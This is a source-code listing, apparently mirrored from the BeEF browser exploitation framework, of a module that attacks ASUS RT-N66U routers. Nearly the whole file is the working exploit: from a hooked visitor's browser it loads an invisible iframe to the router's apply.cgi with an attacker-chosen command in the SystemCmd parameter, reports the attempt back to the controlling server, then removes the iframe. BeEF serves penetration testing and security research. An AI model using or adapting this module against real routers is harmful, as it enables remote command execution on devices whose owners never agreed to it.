Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/asus_rt_n66u_cmd_exec/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var gateway = '<%= @base %>';
10
var exec_command = '<%= @exec_command %>';
11
var timeout = 15;
12
13
var asus_rt_n66u_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();
14
15
asus_rt_n66u_iframe1_<%= @command_id %>.setAttribute('src',"http://" + gateway +"/apply.cgi?current_page=Main_Netstat_Content.asp&next_page=Main_Netstat_Content.asp&next_host="+gateway+"&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd="+exec_command+"&firmver=3.0.0.4&cmdMethod=netstat&NetOption=-a&targetip=&ExtOption=-r+state");
16
17
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
18
19
20
cleanup = function() {
21
document.body.removeChild(asus_rt_n66u_iframe1_<%= @command_id %>);
22
23
}
24
setTimeout("cleanup()", timeout*1000);
25
26
});
27
28
29